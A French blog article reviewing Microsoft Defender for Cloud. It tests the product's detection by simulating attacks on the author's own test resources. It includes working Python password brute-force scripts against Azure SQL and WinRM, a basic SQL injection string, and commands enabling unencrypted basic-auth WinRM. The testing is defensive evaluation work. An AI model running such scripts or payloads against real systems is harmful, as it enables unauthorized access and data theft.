Accueil > Defender for Cloud : la solution Microsoft pour la supervision de la sécurité
Hichem Mabrouki
9 juin 2022

Defender for Cloud : la solution Microsoft pour la supervision de la sécurité

Dans le cadre du Mois de l’hybridation, nous vous présentons Microsoft Defender for Cloud, une solution pour la supervision de la sécurité des ressources et des charges de travail sur le Cloud public et privé. Une partie de cet article est consacré à la simulation de certains types d’attaques pour montrer le fonctionnement de la solution et répondre à certaines questions :

  • En quoi consiste Defender pour les charges de travail ?
  • Est-ce qu’on protège ou supervise des ressources autres que celles du Cloud Azure ?
  • La protection/ supervision se fait-elle en temps réel ?
  • En quoi Microsoft Defender peut nous aider pour renforcer la sécurité d’une infrastructure hybride ?

 

 

Présentation de Microsoft Defender pour le Cloud

 

Microsoft Defender pour le Cloud est une solution proposée par Microsoft pour superviser la sécurité aussi bien des ressources du Cloud public et privé (on-premise) que des charges de travail s’exécutant sur le Cloud azure telles que : des bases de données, des comptes de stockage, le service de gestion des clés, etc.

Chaque ressource a sa propre surface d’attaque et ses propres vulnérabilités, par conséquent Microsoft Defender est spécifique à chacune : par exemple, la protection d’un compte de stockage consiste à surveiller le chargement de malwares, alors que la protection d’une base de données consiste à surveillez les requêtes SQL et vérifier si elles ne contiennent pas des attaques de type injections SQL.

Certaines alertes remontées par Defender for Cloud sont communes à toutes les charges de travail : c’est le cas de l’accès depuis une adresse IP malicieuse et de l’accès depuis un nœud de TOR.

En plus de la supervision des activités malveillantes, Microsoft Defender effectue des évaluations continues de l’état de sécurité des charges de travail et des ressources. Cette évaluation permettra d’identifier et de corriger les vulnérabilités et les mauvaises configurations.

Les alertes détectées sont remontées vers la plateforme « Azure Security Center » désormais nommée « Microsoft Defender pour le Cloud ». L’interface présente une vue globale de l’état de sécurité de toutes les ressources et charges de travail, les détails des alertes et des anomalies de configuration ainsi que des recommandations et des actions de correction.

Pour renforcer encore le processus de gestion des alertes de sécurité, il est possible d’intégrer Defender for cloud avec un SIEM (Security Information and Event Management). Grâce au SIEM tel qu’Azure Sentinel, il est possible d’automatiser la gestion des alertes, permettant ainsi à l’équipe SOC (Security Operation Center) de mieux gérer les incidents de sécurité et d’intervenir dans les meilleurs délais.

Pour la supervision des serveurs sur un Cloud on-premise, il est possible de déployer Microsoft Defender en utilisant la technologie Azure Arc. Une fois le serveur intégré via Azure Arc, il est possible de déployer et de gérer Defender sur ce serveur.

 

Le schéma ci-dessous présente l’écosystème de Microsoft Defender for Cloud et ses interactions avec les outils de sécurité, et son intégration avec les différents environnements de Cloud public (Azure, AWS, GCP) et privés.

l’écosystème de Microsoft Defender for Cloud

Nous présentons dans les parties suivantes les deux principales fonctions de Microsoft Defender for Cloud :

  • Supervision des charges de travail
  • Gestion de la posture de sécurité Cloud.

 

Nous concluons avec les points forts et les points d’amélioration.

 

 

Supervision des charges de travail avec Microsoft Defender for Cloud

 

Microsoft Defender permet la supervision de sécurité de plusieurs charges de travail qui s’exécutent sur le Cloud Azure :

  • Microsoft Defender for Servers
  • Microsoft Defender for Storage
  • Microsoft Defender for SQL
  • Microsoft Defender for Containers
  • Microsoft Defender for App Service
  • Microsoft Defender for Key Vault
  • Microsoft Defender for Resource Manager
  • Microsoft Defender for DNS
  • Microsoft Defender for open-source relational databases
  • Microsoft Defender for Azure Cosmos DB (Preview)

 

Dans cette partie, nous présentons Microsoft Defender pour certaines charges de travail. Une simulation sera effectuée pour vérifier le mode de fonctionnement, le temps de réponse et une vérification de l’alerte remontée au niveau de Security Center.

 

Microsoft Defender pour SQL

 

Présentation de Defender for SQL

 

La supervision de Microsoft Defender pour SQL consiste à détecter des modèles de requêtes et des accès à la base de données anormaux ainsi que des activités sur la base de données suspectes.

 

Voici quelques exemples d’accès anormaux et d’activités suspectes détectés par Microsoft Defender pour SQL :

  • Attaque par force brute probable à l’aide d’un utilisateur valide ;
  • Tentative de connexion par une application potentiellement dangereuse ;
  • Connexion à partir d’un utilisateur principal non vu en 60 jours ;
  • Connexion à partir d’un centre de données Azure inhabituel ;
  • Connexion à partir d’une adresse IP suspecte.

 

Microsoft Defender pour SQL permet d’assurer la supervision des ressources et charges de travail suivantes : Azure SQL database, Microsoft SQL Managed Instance, Azure Arc-enabled SQL Server, SQL Server on Azure VM, SQL Server on AWS, SQL Server on Prem.

 

Simulation d’une attaque brute force

 

Ce type d’attaque est le plus classique et le plus ancien. Il consiste à trouver une combinaison de mot de passe / login valide en essayant toutes les combinaisons possibles ou en utilisant des dictionnaires (par exemple les mots de passe les plus utilisés) pour optimiser le temps d’exécution du programme.

Dans ce scénario, on va tester le comportement de Microsoft Defender for SQL à la suite d’une attaque de type Brute Force.

  1. Créer une base azure SQL « defender-database »
  2. Activer de Defender for SQL sur l’instance créée
  3. Télécharger un dictionnaire de mots de passe. Cette url contient plusieurs dictionnaires de test.
  4. Créer un script Python utilisant le dictionnaire téléchargé et lancer des ouvertures de connexion :

import pyodbc

server = ‘defender-sql.database.windows.net’

database = ‘defender-database’

username = ‘username’

driver= ‘{ODBC Driver 17 for SQL Server}’

filename= ‘french_passwords_top1000.txt’

 

# charger le dictionnaire depuis le fichier french_passwords_top1000.txt

with open(filename) as file:

    lines = [line.rstrip() for line in file]

    # pour chaque mot de passe essayer d’ouvrir une connexion

    for line in lines:

        print(‘Test de mot de passe:’ + line)

        try:

            password = line

            sqlconn= ‘DRIVER=’+driver+’;SERVER=tcp:’+server+’;PORT=1433;DATABASE=’+database+’;UID=’+username+’;PWD=’+ password

            with pyodbc.connect(sqlconn) as conn:

                with conn.cursor() as cursor:

                    cursor.execute(« SELECT @@Version »)

                    row = cursor.fetchall()

                    print(row)

                    print(« Mot de passe valide »)

        except:

            print(« mot de passe non valide »)

            continue

 

 

1. Exécution du script

Execution du script microsoft cloud defender

 

2. Vérification de remontée d’une alerte « Suspecte brute-force attack attempt using a valid user »

 

2) Vérification de remontée d’une alerte « Suspecte brute-force attack attempt using a valid user »

Microsoft Defender for Cloud orkshop collectionMicrosoft Defender for Cloud security alert

 

Simulation d’une attaque de type injection SQL

 

Ce type d’attaque consiste à exploiter des failles de sécurité dans le code de l’application et exécuter des requêtes SQL sur la base de données afin d’extraire des informations, d’accéder à des données non autorisées ou d’injecter/supprimer des données.

Vous trouverez ci-dessous le script Python pour lancer une injection SQL très basique. La requête SQL générée par ce script peut être insérée dans un objet de type INPUT ou ajoutée dans les paramètres de l’url.

 

Simulation d’une attaque de type injection SQL

import pyodbc

server = ‘defender-sql.database.windows.net’

database = ‘defender-database’

username = ‘username’

driver= ‘{ODBC Driver 17 for SQL Server}’

password= ‘{password}’

 

sqlconn= ‘DRIVER=’+driver+’;SERVER=tcp:’+server+’;PORT=1433;DATABASE=’+database+’;UID=’+username+’;PWD=’+ password

print(sqlconn)

 

with pyodbc.connect(sqlconn) as conn:

    with conn.cursor() as cursor:

        # recherche de base de données qui commencent par l

        cursor.execute(« select * from sys.databases where database_id like ‘l%' »)

        # afficher la liste des base de données

        cursor.execute(« select * from sys.databases where database_id like  » or 1=1;select  » –Charbel3″)

 

Vérification des alertes remontées au niveau de Security Center

 

Microsoft Defender for Cloud alertes remontées au niveau de Security Center

 

Microsoft Defender pour stockage

 

Présentation de Microsoft Defender pour stockage

 

Microsoft Defender pour stockage permet de superviser les objets et les données sur un compte de stockage. Il est basé sur la détection des menaces avancées et la technologie « Microsoft Threat Intelligence » : accès non authentifié, informations d’identification compromises, exfiltration de données, etc.

Lors de la détection d’une attaque ou d’une activité suspecte, une alerte est remontée vers l’équipe de sécurité opérationnelle. L’alerte inclut des actions de correction ou d’atténuation pour chaque type d’attaques.

 

Étude de cas : chargement d’un malware

 

Pour tester le fonctionnement de Microsoft Defender pour le compte de stockage, nous allons charger un malware dans le compte de stockage et vérifier si une alerte est remontée ou non :

  1. Créer un compte de stockage de test « hmsourcecode »
  2. Activer Defender pour stockage
  3. Télécharger le fichier eicar et le renommer en testmalware.exe
  4. Uploader le fichier dans le compte de stockage hmsourcecode
  5. Une nouvelle alerte est remontée dans Microsoft Defender for Cloud (ex Security Center).

 

Microsoft Defender for Cloud alerte sécurité malware

Il est possible de prendre des actions correctives via la même interface Microsoft Defender for Cloud.

 

Microsoft deferder for cloud actions correctives

 

Microsoft Defender pour les ressources non-Azure

 

Présentation de Defender for non-Azure machines

 

Il est désormais possible de superviser la posture sécurité d’une machine non déployée sur le Cloud Azure  grâce à la technologie Azure Arc.

 

Pour bénéficier du server Defender for Cloud, il faut :

  1. 1. Installer l’agent Azure Arc sur la machine cible :

Installation Azure Arc

 

2. Dans le cas où l’OS n’est pas supporté, il faut installer l’agent « Log Analytics Agent » sur la machine cible.

3. Enregistrer le serveur.

Defernder for Cloud Azure Arc

Defender for Cloud azure Arc installation

Azure connected machine agent Microsoft

4. Vérification sur le portail Azure :

Aller dans Azure Arc et vérifier que le serveur a été ajouté et bien connecté :

 

vérification connection Azure Arc au serveur

 

 

Etude de cas : téléchargement d’un malware

 

Pour tester le fonctionnement de Microsoft Defender non-Azure resource, nous allons télécharger le malware eicar et vérifier si une alerte est remontée ou pas.

 

1. Télécharger le fichier eicar et le renommer en testmalware.exe. Une nouvelle alerte est remontée dans Microsoft Defender for Cloud :

Remontée d'alerte dans Microsoft Defender for Cloud

 

Les détails de l’alerte :

Microsoft Defender for Cloud détails de l'alerte

 

Simulation d’une attaque brute force non détectées par Defender for Cloud

 

Il s’agit du même type d’attaque lancé sur la base de données SQL. Il consiste à trouver une combinaison de mot de passe / login valide en essayant toutes les combinaisons possibles ou en utilisant des dictionnaires (par exemple celui des mots de passe les plus utilisés) pour optimiser le temps d’exécution du programme.

Dans ce scénario, nous allons tester le comportement de Microsoft Defender for non-Azure resource à la suite d’une attaque de type brute force.

1. Préparation de la machine cible

Installer l’agent Azure Arc sur la machine cible et l’enregistrer.

Activer Winrm avec authentification basique sur la machine cible en exécutant les commandes suivantes :

  • Enable-PSremoting -Force
  • Restart-Service WinRM
  • winrm set winrm/config/service ‘@{AllowUnencrypted= »true »}’
  • winrm set winrm/config/service/auth ‘@{Basic= »true »}’
  • Restart-Service WinRM

 

Suite à l’exécution de ces commandes, il est possible d’ouvrir une session winrm à distance :

2. Télécharger un dictionnaire de mot de passe (cette url contient plusieurs dictionnaires de test)

3. Créer un script Python utilisant le dictionnaire téléchargé et lancer des ouvertures de session

4. Installer le package pywinrm

 

import winrm

host = ‘XXX.XXX.XXX.XXX’

user = ‘UserName’

filename= ‘french_passwords_top1000.txt’

 

# charger le dictionnaire depuis le fichier french_passwords_top1000.txt

with open(filename) as file:

    lines = [line.rstrip() for line in file]

    # pour chaque mot de passe essayer d’ouvrir une connexion winrm

    for password in lines:

        print(‘Test de mot de passe:’ + password)

        try:

            session = winrm.Session(host, auth=(user,password))

            result = session.run_cmd(‘hostname’)

            print(result)

            print(« Mot de passe valide »)

        except:

            print(« mot de passe non valide »)

            continue

 

 

5. Exécution du script

Microsoft defender for cloud exécution du script

6. Vérification sur le portail Azure : aucune alerte remontée dans Microsoft Defender for Cloud.

 

Gestion de la posture de sécurité Cloud avec Microsoft Defender for Cloud

 

Cette fonction consiste à présenter une évaluation globale de l’état de sécurité de tout l’environnement Cloud supervisé par Defender for Cloud. Microsoft Defender for Cloud effectue des évaluations continues des ressources et charges de travail déployées selon les benchmarks de sécurité et des guides de bonnes pratiques tels qu’Azure CIS et NIST.

La vue d’ensemble de Microsoft Defender for Cloud affiche les éléments suivants : le score global et le détail de posture de sécurité.

 

Score global

 

C’est une évaluation par rapport aux recommandations de benchmarking de sécurité. Le score peut diminuer à la suite de la détection d’une mauvaise configuration d’une ressource ou d’une vulnérabilité sur l’OS qui héberge la ressource.

Le score aussi peut s’améliorer à la suite de la correction d’une mauvaise configuration ou de la mise à jour de l’OS qui héberge le service.

 

Mirosoft Defender for Cloud overview

 

Détail de posture de sécurité

 

Un clic sur le lien « Explorer votre posture de sécurité » renvoie vers une autre vue avec plus de détails sur la liste des recommandations.

Pour chaque recommandation, elle affiche les étapes de remédiation, les ressources concernées ainsi que l’amélioration potentielle du score global en cas de remédiation.

 

Exemple de recommandation   :

Nom : Activation du MFA

Cette recommandation consiste à activer le MFA sur les comptes avec des permissions propriétaires ou d’écriture.

En cas d’activation du MFA, le score global de conformité sera augmenté de 10 points.

 

Microsoft Defender for Cloud recommandations

 

Microsoft Defender for Cloud : l’essentiel à retenir

 

Microsoft Defender for Cloud est l’une des meilleures solutions de sécurité actuellement sur le marché pour la supervision des ressources et charges de travail sur le Cloud.

 

Points forts de Microsoft Defender for Cloud

 

  • Chaque type de ressource ou charge de travail a son propre « Defender». Par exemple, pour sécuriser une base données SQL, il suffit d’activer Defender for SQL. Ce dernier propose une supervision contre les injections SQL, les attaques brute force ou les connexions à partir d’une IP malicieuse, etc.
  • Les recommandations proposées suite à l’évaluation de configuration et de vulnérabilité sont également spécifiques à chaque ressource ou charge de travail.
  • La solution peut être intégrée avec un SIEM pour mieux gérer les alertes de sécurité et améliorer la réponse de l’équipe de sécurité opérationnelle.

 

Point d’amélioration de Microsoft Defender for Cloud

 

  • Réduire le temps de détection: lors de la simulation des attaques, certaines ont été remontées plusieurs heures après leur exécution. Même en cas d’automatisation de la gestion des alertes, il serait trop tard de lancer des actions correctives après des heures.
  • Certains types d’attaque ne sont pas détectés par Defender for Cloud, c’est le cas par exemple des injections SQL. Il faut noter que Defender for Cloud est une ligne de défense parmi d’autres. Le renforcement de la sécurité par d’autres outils tels qu’un Web Application Firewall (WAF) assure une protection en temps réel et est plus approprié pour la protection contre ce type d’attaque.

Notons aussi qu’il y a un compromis entre la sécurité et la productivité. L’activation des outils de sécurité peut impacter fortement un environnement de développement, c’est le cas par exemple d’un WAF mal configuré qui peut bloquer un trafic légitime ou de Defender for SQL qui peut remonter des fausses alertes sur des requêtes SQL légitimes.

 

Vous avez déjà utilisé Microsoft Defender for Cloud ? Vous souhaitez partager votre avis sur cette solution ? N’hésitez pas à nous laisser un message en commentaires !

 

Retrouvez ci-dessous les autres articles du Mois de l’hybridation :

 

Nos autres articles
Commentaires
Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.

Restez au courant des dernières actualités !
Le meilleur de l’actualité sur le Cloud, le DevOps, l’IT directement dans votre boîte mail.